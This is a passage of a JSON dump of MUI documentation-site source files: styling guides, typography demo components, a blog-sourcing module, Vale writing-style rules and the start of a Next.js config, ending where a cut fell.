modification, you can also use a shortcut by providing the key as a string\nconst MyStyledButton = (props) => (\n  <Button sx={{ backgroundColor: 'primary.main' }}>{props.children}</Button>\n);\n```\n\n### How can I use the `sx` syntax with the `styled()` utility?\n\nIf you prefer the `sx` syntax and want to use it in both the `sx` prop and the `styled()` utility, you can use the `unstable_sx` utility from the `theme`:\n\n{{\"demo\": \"UsingWithSx.js\", \"defaultCodeOpen\": true}}\n\nThe overhead added by using the `unstable_sx` utility is the same as if you were to use the `sx` prop on the component.\n\n:::info\nNote: You can use `unstable_sx` outside of the `styled()` utility, too; for example when defining `variants` in your custom theme.\n:::\n\n## How to use components selector API\n\nIf you've ever used the `styled()` API of either [`emotion`](https://emotion.sh/docs/styled#targeting-another-emotion-component) or [`styled-components`](https://styled-components.com/docs/advanced#referring-to-other-components), you should have been able to use components as selectors.\n\n```jsx\nimport styled from '@emotion/styled';\n\nconst Child = styled.div`\n  color: red;\n`;\n\nconst Parent = styled.div`\n  ${Child} {\n    color: green;\n  }\n`;\n\nrender(\n  <div>\n    <Parent>\n      <Child>Green because I am inside a Parent</Child>\n    </Parent>\n    <Child>Red because I am not inside a Parent</Child>\n  </div>,\n);\n```\n\nWith MUI System's `styled()` utility, you can use components as selectors, too. When using `@mui/styled-engine-sc` (`styled-components`), nothing needs to be done. When using `@mui/styled-engine` (`emotion`), the default engine, there are a few steps you should perform:\n\nFirst, you should install [`@emotion/babel-plugin`](https://emotion.sh/docs/@emotion/babel-plugin).\n\n```bash\nnpm install @emotion/babel-plugin\n```\n\nThen, configure the plugin to know about the Material UI version of the `styled()` utility:\n\n**babel.config.js**\n\n```js\nmodule.exports = {\n  ...\n  plugins: [\n    [\n      \"@emotion\",\n      {\n        importMap: {\n          \"@mui/system\": {\n            styled: {\n              canonicalImport: [\"@emotion/styled\", \"default\"],\n              styledBaseImport: [\"@mui/system\", \"styled\"]\n            }\n          },\n          \"@mui/material\": {\n            styled: {\n              canonicalImport: [\"@emotion/styled\", \"default\"],\n              styledBaseImport: [\"@mui/material\", \"styled\"]\n            }\n          },\n          \"@mui/material/styles\": {\n            styled: {\n              canonicalImport: [\"@emotion/styled\", \"default\"],\n              styledBaseImport: [\"@mui/material/styles\", \"styled\"]\n            }\n          }\n        }\n      }\n    ]\n  ]\n};\n\n```\n\n:::info\nNote: If you use [`babel-plugin-direct-import`](https://github.com/avocadowastaken/babel-plugin-direct-import), place it after `@emotion/babel-plugin` in the Babel config.\n:::\n\nNow you should be able to use components as your selectors!\n"
  },
  {
    "path": "docs/data/system/typography/FontFamily.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontFamily() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontFamily: 'default', m: 1 }}>Default</Box>\n      <Box sx={{ fontFamily: 'Monospace', fontSize: 'h6.fontSize', m: 1 }}>\n        Monospace\n      </Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontFamily.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontFamily() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontFamily: 'default', m: 1 }}>Default</Box>\n      <Box sx={{ fontFamily: 'Monospace', fontSize: 'h6.fontSize', m: 1 }}>\n        Monospace\n      </Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontFamily.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ fontFamily: 'default', m: 1 }}>Default</Box>\n  <Box sx={{ fontFamily: 'Monospace', fontSize: 'h6.fontSize', m: 1 }}>\n    Monospace\n  </Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/FontSize.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontSize() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontSize: 'default', m: 1 }}>Default</Box>\n      <Box sx={{ fontSize: 'h6.fontSize', m: 1 }}>h6.fontSize</Box>\n      <Box sx={{ fontSize: 16, m: 1 }}>16px</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontSize.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontSize() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontSize: 'default', m: 1 }}>Default</Box>\n      <Box sx={{ fontSize: 'h6.fontSize', m: 1 }}>h6.fontSize</Box>\n      <Box sx={{ fontSize: 16, m: 1 }}>16px</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontSize.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ fontSize: 'default', m: 1 }}>Default</Box>\n  <Box sx={{ fontSize: 'h6.fontSize', m: 1 }}>h6.fontSize</Box>\n  <Box sx={{ fontSize: 16, m: 1 }}>16px</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/FontStyle.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontStyle() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontStyle: 'normal', m: 1 }}>Normal font style.</Box>\n      <Box sx={{ fontStyle: 'italic', m: 1 }}>Italic font Style.</Box>\n      <Box sx={{ fontStyle: 'oblique', m: 1 }}>Oblique font style.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontStyle.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontStyle() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontStyle: 'normal', m: 1 }}>Normal font style.</Box>\n      <Box sx={{ fontStyle: 'italic', m: 1 }}>Italic font Style.</Box>\n      <Box sx={{ fontStyle: 'oblique', m: 1 }}>Oblique font style.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontStyle.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ fontStyle: 'normal', m: 1 }}>Normal font style.</Box>\n  <Box sx={{ fontStyle: 'italic', m: 1 }}>Italic font Style.</Box>\n  <Box sx={{ fontStyle: 'oblique', m: 1 }}>Oblique font style.</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/FontWeight.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontWeight() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontWeight: 'light', m: 1 }}>Light</Box>\n      <Box sx={{ fontWeight: 'regular', m: 1 }}>Regular</Box>\n      <Box sx={{ fontWeight: 'medium', m: 1 }}>Medium</Box>\n      <Box sx={{ fontWeight: 500, m: 1 }}>500</Box>\n      <Box sx={{ fontWeight: 'bold', m: 1 }}>Bold</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontWeight.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function FontWeight() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ fontWeight: 'light', m: 1 }}>Light</Box>\n      <Box sx={{ fontWeight: 'regular', m: 1 }}>Regular</Box>\n      <Box sx={{ fontWeight: 'medium', m: 1 }}>Medium</Box>\n      <Box sx={{ fontWeight: 500, m: 1 }}>500</Box>\n      <Box sx={{ fontWeight: 'bold', m: 1 }}>Bold</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/FontWeight.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ fontWeight: 'light', m: 1 }}>Light</Box>\n  <Box sx={{ fontWeight: 'regular', m: 1 }}>Regular</Box>\n  <Box sx={{ fontWeight: 'medium', m: 1 }}>Medium</Box>\n  <Box sx={{ fontWeight: 500, m: 1 }}>500</Box>\n  <Box sx={{ fontWeight: 'bold', m: 1 }}>Bold</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/LetterSpacing.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function LetterSpacing() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ letterSpacing: 6, m: 1 }}>Letter Spacing 6px.</Box>\n      <Box sx={{ letterSpacing: 10, m: 1 }}>Letter Spacing 10px.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/LetterSpacing.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function LetterSpacing() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ letterSpacing: 6, m: 1 }}>Letter Spacing 6px.</Box>\n      <Box sx={{ letterSpacing: 10, m: 1 }}>Letter Spacing 10px.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/LetterSpacing.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ letterSpacing: 6, m: 1 }}>Letter Spacing 6px.</Box>\n  <Box sx={{ letterSpacing: 10, m: 1 }}>Letter Spacing 10px.</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/LineHeight.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function LineHeight() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ lineHeight: 'normal', m: 1 }}>Normal height.</Box>\n      <Box sx={{ lineHeight: 2, m: 1 }}>line-height: 2</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/LineHeight.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function LineHeight() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ lineHeight: 'normal', m: 1 }}>Normal height.</Box>\n      <Box sx={{ lineHeight: 2, m: 1 }}>line-height: 2</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/LineHeight.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ lineHeight: 'normal', m: 1 }}>Normal height.</Box>\n  <Box sx={{ lineHeight: 2, m: 1 }}>line-height: 2</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/TextAlignment.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function TextAlignment() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ textAlign: 'justify', m: 1 }}>\n        Ambitioni dedisse scripsisse iudicaretur. Cras mattis iudicium purus sit amet\n        fermentum. Donec sed odio operae, eu vulputate felis rhoncus.\n      </Box>\n      <Box sx={{ textAlign: 'left', m: 1 }}>Left aligned text.</Box>\n      <Box sx={{ textAlign: 'center', m: 1 }}>Center aligned text.</Box>\n      <Box sx={{ textAlign: 'right', m: 1 }}>Right aligned text.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/TextAlignment.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function TextAlignment() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ textAlign: 'justify', m: 1 }}>\n        Ambitioni dedisse scripsisse iudicaretur. Cras mattis iudicium purus sit amet\n        fermentum. Donec sed odio operae, eu vulputate felis rhoncus.\n      </Box>\n      <Box sx={{ textAlign: 'left', m: 1 }}>Left aligned text.</Box>\n      <Box sx={{ textAlign: 'center', m: 1 }}>Center aligned text.</Box>\n      <Box sx={{ textAlign: 'right', m: 1 }}>Right aligned text.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/TextAlignment.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ textAlign: 'justify', m: 1 }}>\n    Ambitioni dedisse scripsisse iudicaretur. Cras mattis iudicium purus sit amet\n    fermentum. Donec sed odio operae, eu vulputate felis rhoncus.\n  </Box>\n  <Box sx={{ textAlign: 'left', m: 1 }}>Left aligned text.</Box>\n  <Box sx={{ textAlign: 'center', m: 1 }}>Center aligned text.</Box>\n  <Box sx={{ textAlign: 'right', m: 1 }}>Right aligned text.</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/TextTransform.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function TextTransform() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ textTransform: 'capitalize', m: 1 }}>capitalized text.</Box>\n      <Box sx={{ textTransform: 'lowercase', m: 1 }}>Lowercase Text.</Box>\n      <Box sx={{ textTransform: 'uppercase', m: 1 }}>Uppercase Text.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/TextTransform.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function TextTransform() {\n  return (\n    <Typography component=\"div\">\n      <Box sx={{ textTransform: 'capitalize', m: 1 }}>capitalized text.</Box>\n      <Box sx={{ textTransform: 'lowercase', m: 1 }}>Lowercase Text.</Box>\n      <Box sx={{ textTransform: 'uppercase', m: 1 }}>Uppercase Text.</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/TextTransform.tsx.preview",
    "content": "<Typography component=\"div\">\n  <Box sx={{ textTransform: 'capitalize', m: 1 }}>capitalized text.</Box>\n  <Box sx={{ textTransform: 'lowercase', m: 1 }}>Lowercase Text.</Box>\n  <Box sx={{ textTransform: 'uppercase', m: 1 }}>Uppercase Text.</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/typography/Variant.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Variant() {\n  return (\n    <div>\n      <Box sx={{ typography: 'subtitle2' }}>subtitle2</Box>\n      <Box sx={{ typography: 'body1' }}>body1</Box>\n      <Box sx={{ typography: 'body2' }}>body2</Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/Variant.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Variant() {\n  return (\n    <div>\n      <Box sx={{ typography: 'subtitle2' }}>subtitle2</Box>\n      <Box sx={{ typography: 'body1' }}>body1</Box>\n      <Box sx={{ typography: 'body2' }}>body2</Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/typography/Variant.tsx.preview",
    "content": "<Box sx={{ typography: 'subtitle2' }}>subtitle2</Box>\n<Box sx={{ typography: 'body1' }}>body1</Box>\n<Box sx={{ typography: 'body2' }}>body2</Box>"
  },
  {
    "path": "docs/data/system/typography/typography.md",
    "content": "# Typography\n\n<p class=\"description\">Documentation and examples for common text utilities to control alignment, wrapping, weight, and more.</p>\n\n## Variant\n\n{{\"demo\": \"Variant.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ typography: 'subtitle2' }}>… // theme.typography.subtitle2\n<Box sx={{ typography: 'body1' }}>…\n<Box sx={{ typography: 'body2' }}>…\n```\n\n## Text alignment\n\n{{\"demo\": \"TextAlignment.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ textAlign: 'left' }}>…\n<Box sx={{ textAlign: 'center' }}>…\n<Box sx={{ textAlign: 'right' }}>…\n```\n\n## Text transformation\n\n{{\"demo\": \"TextTransform.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ textTransform: 'capitalize' }}>…\n<Box sx={{ textTransform: 'lowercase' }}>…\n<Box sx={{ textTransform: 'uppercase' }}>…\n```\n\n## Font weight\n\n{{\"demo\": \"FontWeight.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ fontWeight: 'light' }}>… // theme.typography.fontWeightLight\n<Box sx={{ fontWeight: 'regular' }}>…\n<Box sx={{ fontWeight: 'medium' }}>…\n<Box sx={{ fontWeight: 500 }}>…\n<Box sx={{ fontWeight: 'bold' }}>…\n```\n\n## Font size\n\n{{\"demo\": \"FontSize.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ fontSize: 'default' }}>…  // theme.typography.fontSize\n<Box sx={{ fontSize: 'h6.fontSize' }}>…\n<Box sx={{ fontSize: 16 }}>…\n```\n\n## Font style\n\n{{\"demo\": \"FontStyle.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ fontStyle: 'normal' }}>…\n<Box sx={{ fontStyle: 'italic' }}>…\n<Box sx={{ fontStyle: 'oblique' }}>…\n```\n\n## Font family\n\n{{\"demo\": \"FontFamily.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ fontFamily: 'default' }}>…\n<Box sx={{ fontFamily: 'Monospace' }}>…\n```\n\n## Letter spacing\n\n{{\"demo\": \"LetterSpacing.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ letterSpacing: 6 }}>…\n<Box sx={{ letterSpacing: 10 }}>…\n```\n\n## Line height\n\n{{\"demo\": \"LineHeight.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ lineHeight: 'normal' }}>…\n<Box sx={{ lineHeight: 10 }}>…\n```\n\n## API\n\n```js\nimport { typography } from '@mui/system';\n```\n\n| Import name     | Prop            | CSS property                                                                                 | Theme key                                                                          |\n| :-------------- | :-------------- | :------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------- |\n| `typography`    | `typography`    | `font-family`, `font-weight`, `font-size`, `line-height`, `letter-spacing`, `text-transform` | [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) |\n| `fontFamily`    | `fontFamily`    | `font-family`                                                                                | [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) |\n| `fontSize`      | `fontSize`      | `font-size`                                                                                  | [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) |\n| `fontStyle`     | `fontStyle`     | `font-style`                                                                                 | [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) |\n| `fontWeight`    | `fontWeight`    | `font-weight`                                                                                | [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) |\n| `letterSpacing` | `letterSpacing` | `letter-spacing`                                                                             | none                                                                               |\n| `lineHeight`    | `lineHeight`    | `line-height`                                                                                | none                                                                               |\n| `textAlign`     | `textAlign`     | `text-align`                                                                                 | none                                                                               |\n| `textTransform` | `textTransform` | `text-transform`                                                                             | none                                                                               |\n"
  },
  {
    "path": "docs/lib/sourcing.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport { getHeaders } from '@mui/internal-markdown';\n\nconst blogDir = path.join(process.cwd(), 'pages/blog');\n\nexport const getBlogFilePaths = (ext = '.md') => {\n  return fs.readdirSync(blogDir).filter((file) => file.endsWith(ext));\n};\n\nconst caseStudyDir = path.join(process.cwd(), 'pages/customers');\n\nexport const getCaseStudyFilePaths = (ext = '.md') => {\n  return fs.readdirSync(caseStudyDir).filter((file) => file.endsWith(ext));\n};\n\nexport interface BlogPost {\n  slug: string;\n  title: string;\n  description: string;\n  image?: string;\n  tags: Array<string>;\n  authors?: Array<string>;\n  date?: string;\n  rank?: string;\n}\n\nexport function getBlogPost(filePath: string): BlogPost {\n  const slug = filePath.replace(/\\.md$/, '');\n  const content = fs.readFileSync(path.join(blogDir, filePath), 'utf-8');\n\n  const headers = getHeaders(content) as unknown as BlogPost;\n\n  return {\n    ...headers,\n    slug,\n  };\n}\n\nexport function getCaseStudyPost(filePath: string): BlogPost {\n  const slug = filePath.replace(/\\.md$/, '');\n  const content = fs.readFileSync(path.join(caseStudyDir, filePath), 'utf-8');\n\n  const headers = getHeaders(content) as unknown as BlogPost;\n\n  return {\n    ...headers,\n    slug,\n  };\n}\n\n// Avoid typos in the blog markdown pages.\n// https://www.notion.so/mui-org/Blog-247ec2bff5fa46e799ef06a693c94917\nconst ALLOWED_TAGS = [\n  'Company',\n  'Developer Survey',\n  'Guide',\n  'Product',\n  'Tech',\n  // Product tags\n  'Material UI',\n  'Base UI',\n  'Pigment CSS',\n  'Joy UI',\n  'MUI X',\n  'Toolpad',\n];\n\nexport const getAllBlogPosts = () => {\n  const filePaths = getBlogFilePaths();\n  const rawBlogPosts = filePaths\n    .map((name) => getBlogPost(name))\n    // sort allBlogPosts by date in descending order\n    .sort((post1, post2) => {\n      if (post1.date && post2.date) {\n        return new Date(post1.date) > new Date(post2.date) ? -1 : 1;\n      }\n      if (post1.date && !post2.date) {\n        return 1;\n      }\n      return -1;\n    });\n  const allBlogPosts = rawBlogPosts.filter((post) => !!post.title);\n  const tagInfo: Record<string, number | undefined> = {};\n  allBlogPosts.forEach((post) => {\n    post.tags.forEach((tag) => {\n      if (!ALLOWED_TAGS.includes(tag)) {\n        throw new Error(\n          `The tag \"${tag}\" in \"${post.title}\" was not whitelisted. Are you sure it's not a typo?`,\n        );\n      }\n\n      tagInfo[tag] = (tagInfo[tag] || 0) + 1;\n    });\n  });\n\n  return {\n    allBlogPosts, // posts with at least a title\n    tagInfo,\n  };\n};\n\nexport const getCaseStudies = () => {\n  const filePaths = getCaseStudyFilePaths();\n\n  const caseStudies = filePaths.map((name) => getCaseStudyPost(name));\n\n  return caseStudies;\n};\n"
  },
  {
    "path": "docs/mui-vale/.vale.ini",
    "content": "# This is subfolder included in our .zip archive.\nStylesPath = styles\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/CorrectReferenceAllCases.yml",
    "content": "# Enforce a single way to write specific terms or phrases.\nextends: substitution\nmessage: Use '%s' instead of '%s'\nlevel: error\nignorecase: true # There is only one correct way to spell those, so we want to match inputs regardless of case.\n# swap maps tokens in form of bad: good\n# for more information: https://vale.sh/docs/topics/styles/#substitution\nswap:\n  ' api': ' API'\n  'typescript ': 'TypeScript '\n  ' ts': ' TypeScript'\n  javascript: JavaScript\n  ' js': ' JavaScript'\n  ' css ': ' CSS '\n  ' html ': ' HTML '\n  NPM: npm # https://css-tricks.com/start-sentence-npm/\n  Github: GitHub\n  StackOverflow: Stack Overflow\n  Stack Overflow: Stack Overflow\n  CSS modules: CSS Modules\n  Tailwind CSS: Tailwind CSS\n  Heat map: Heatmap\n  Tree map: Treemap\n  Sparkline Chart: Sparkline chart\n  Gauge Chart: Gauge chart\n  Treemap Chart: Treemap chart\n  sub-component: subcomponent\n  sub-components: subcomponents\n  use-case: use case\n  usecase: use case\n  Material 3: Material Design 3\n  VSCode: VS Code\n  VS Code: VS Code\n  'Codesandbox ': 'CodeSandbox '\n  code sandbox: CodeSandbox\n  Stackblitz: StackBlitz\n  Webpack: webpack # https://twitter.com/wSokra/status/855800490713649152\n  app router: App Router # Next.js\n  pages router: Pages Router # Next.js\n  page router: Pages Router # Next.js\n  eslint: ESLint\n  ES modules: ES modules\n  JSDOM: jsdom\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/CorrectRererenceCased.yml",
    "content": "# Write things correctly, please no wrong references.\nextends: substitution\nmessage: Use '%s' instead of '%s'\nlevel: error\nignorecase: false\n# swap maps tokens in form of bad: good\n# for more information: https://vale.sh/docs/topics/styles/#substitution\nswap:\n  eg: e.g.\n  eg\\.: e.g.\n  e\\.g: e.g.\n  ie: i.e.\n  ie\\.: i.e.\n  i\\.e: i.e.\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/GoogleLatin.yml",
    "content": "extends: substitution\nmessage: Use '%s' instead of '%s'\nlink: https://developers.google.com/style/abbreviations\nignorecase: false\nlevel: error\nnonword: true\naction:\n  name: replace\nswap:\n  '\\b(?:eg|e\\.g\\.)(?=[\\s,;])': for example\n  '\\b(?:ie|i\\.e\\.)(?=[\\s,;])': that is\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/MuiBrandName.yml",
    "content": "# Without a non-breaking space, brand names can be split in the middle\n# with the start and end on two different lines.\n# For example, Apple does this meticulously with their brand name: https://www.apple.com/macbook-air/.\n# Also read https://www.chrisdpeters.com/blog/using-non-breaking-spaces-to-help-with-branding/ for why.\nextends: substitution\nmessage: Use a non-breaking space (option+space on Mac, Alt+0160 on Windows or AltGr+Space on Linux, instead of space) for brand name ('%s' instead of '%s')\nlevel: error\nignorecase: true\n# swap maps tokens in form of bad: good\n# for more information: https://vale.sh/docs/topics/styles/#substitution\nswap:\n  Material UI: Material UI\n  MUI X: MUI X\n  Base UI: Base UI\n  MUI Base: MUI Base\n  MUI System: MUI System\n  MUI Store: MUI Store\n  MUI Core: MUI Core\n  MUI Toolpad: Toolpad\n  MUI Toolpad: Toolpad\n  MUI Connect: MUI Connect\n  Pigment CSS: Pigment CSS\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/NoBritish.yml",
    "content": "extends: substitution\nmessage: Use the US spelling '%s' instead of the British '%s'\nlink: https://www.notion.so/mui-org/Writing-style-guide-2a957a4168a54d47b14bae026d06a24b?pvs=4#25755bff02764565b954631236ab183d\nlevel: error\nignorecase: true\nswap:\n  aeon: eon\n  aeroplane: airplane\n  ageing: aging\n  aluminium: aluminum\n  anaemia: anemia\n  anaesthesia: anesthesia\n  analyse: analyze\n  annexe: annex\n  apologise: apologize\n  authorisation: authorization\n  authorise: authorize\n  authorised: authorized\n  authorising: authorizing\n  behaviour: behavior\n  bellow: below\n  busses: buses\n  calibre: caliber\n  categorise: categorize\n  categorised: categorized\n  categorises: categorizes\n  categorising: categorizing\n  centre: center\n  cheque: check\n  civilisation: civilization\n  civilise: civilize\n  colour: color\n  cosy: cozy\n  cypher: cipher\n  defence: defense\n  dependant: dependent\n  distil: distill\n  draught: draft\n  encyclopaedia: encyclopedia\n  enquiry: inquiry\n  enrol: enroll\n  enrolment: enrollment\n  enthral: enthrall\n  favourite: favorite\n  fibre: fiber\n  fillet: filet\n  flavour: flavor\n  fulfil: fulfill\n  furore: furor\n  gaol: jail\n  grey: gray\n  honour: honor\n  humour: humor\n  initialled: initialed\n  initialling: initialing\n  instil: instill\n  jewellery: jewelry\n  labelled: labeled\n  labelling: labeling\n  labour: labor\n  libellous: libelous\n  licence: license\n  likeable: likable\n  liveable: livable\n  lustre: luster\n  manoeuvre: maneuver\n  marvellous: marvelous\n  meagre: meager\n  metre: meter\n  modelling: modeling\n  moustache: mustache\n  neighbour: neighbor\n  normalise: normalize\n  offence: offense\n  optimise: optimize\n  optimised: optimized\n  optimising: optimizing\n  organise: organize\n  orientated: oriented\n  paralyse: paralyze\n  plough: plow\n  pretence: pretense\n  programme: program\n  pyjamas: pajamas\n  rateable: ratable\n  realise: realize\n  recognise: recognize\n  reconnoitre: reconnoiter\n  rumour: rumor\n  sabre: saber\n  saleable: salable\n  saltpetre: saltpeter\n  sceptic: skeptic\n  sepulchre: sepulcher\n  signalling: signaling\n  sizeable: sizable\n  skilful: skillful\n  smoulder: smolder\n  sombre: somber\n  speciality: specialty\n  spectre: specter\n  splendour: splendor\n  standardise: standardize\n  standardised: standardized\n  sulphur: sulfur\n  theatre: theater\n  travelled: traveled\n  traveller: traveler\n  travelling: traveling\n  unshakeable: unshakable\n  wilful: willful\n  yoghurt: yogurt\n"
  },
  {
    "path": "docs/mui-vale/styles/MUI/NoCompanyName.yml",
    "content": "extends: existence\nmessage: We avoid referencing the company name '%s'. Instead you can reference a product or the team.\nlevel: warning\nignorecase: false\ntokens:\n  - 'MUI \\w+'\nexceptions:\n  - 'MUI X'\n  - 'MUI System'\n  - 'MUI Store'\n  - 'MUI Core'\n  - 'MUI Connect'\n  # valid use of a regular space\n  - 'MUI organization'\n  - 'MUI ecosystem'\n  - 'MUI products'\n  - 'MUI team'\n"
  },
  {
    "path": "docs/next.config.ts",
    "content": "// @ts-check\nimport * as path from 'path';\nimport * as url from 'url';\nimport * as fs from 'fs';\nimport * as semver from 'semver';\n// @ts-ignore\nimport { BundleAnalyzerPlugin } from 'webpack-bundle-analyzer';\nimport { createRequire } from 'module';\nimport { NextConfig } from 'next';\nimport { findPages } from './src/modules/utils/find';\nimport { LANGUAGES, LANGUAGES_SSR, LANGUAGES_IGNORE_PAGES, LANGUAGES_IN_PROGRESS } from './config';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\nconst require = createRequire(import.meta.url);\n\nconst withDocsInfra = require('./nextConfigDocsInfra');\n\nconst workspaceRoot = path.join(currentDirectory, '../');\n\nconst l10nPRInNetlify = /^l10n_/.test(process.env.HEAD || '') && process.env.NETLIFY === 'true';\nconst vercelDeploy = Boolean(process.env.VERCEL);\nconst isDeployPreview = Boolean(process.env.PULL_REQUEST_ID);\n// For crowdin PRs we want to build all locales for testing.\nconst buildOnlyEnglishLocale = isDeployPreview && !l10nPRInNetlify && !vercelDeploy;\n\nconst pkgContent = fs.readFileSync(path.resolve(workspaceRoot, 'package.json'), 'utf8');\nconst pkg = JSON.parse(pkgContent);\n\nexport default withDocsInfra({\n  webpack: (config: NextConfig, options): NextConfig => {\n    const plugins = config.plugins.slice();\n\n    if (process.env.DOCS_STATS_ENABLED && !options.isServer) {\n      plugins.push(\n        // For all options see https://github.com/th0r/webpack-bundle-analyzer#as-plugin\n        new BundleAnalyzerPlugin({\n          analyzerMode: 'static',\n          generateStatsFile: true,\n          analyzerPort: options.isServer ? 8888 : 8889,\n          reportTitle: `${options.isServer ? 'server' : 'client'} docs bundle`,\n          // Will be available at `.next/${statsFilename}`\n          statsFilename: `stats-${options.isServer ? 'server' : 'client'}.json`,\n        }),\n      );\n    }\n\n    // If a module is an webpack \"external\" the webpack aliases configured are not used.\n    // Next.js includes node_modules in webpack externals, some of those have dependencies\n    // on the aliases we defined above.\n    // So we need tell webpack to not consider those packages as externals.\n    if (\n      options.isServer &&\n      // Next.js executes this twice on the server with React 18 (once per runtime).\n      // We only care about Node runtime at this point.\n      (options.nextRuntime === undefined || options.nextRuntime === 'nodejs')\n    ) {\n      const externals = config.externals.slice(0, -1);\n      const nextExternals = config.externals.at(-1);\n\n      config.externals = [\n        // @ts-ignore\n        (ctx, callback) => {\n          const { request } = ctx;\n          const hasDependencyOnRepoPackages = [\n            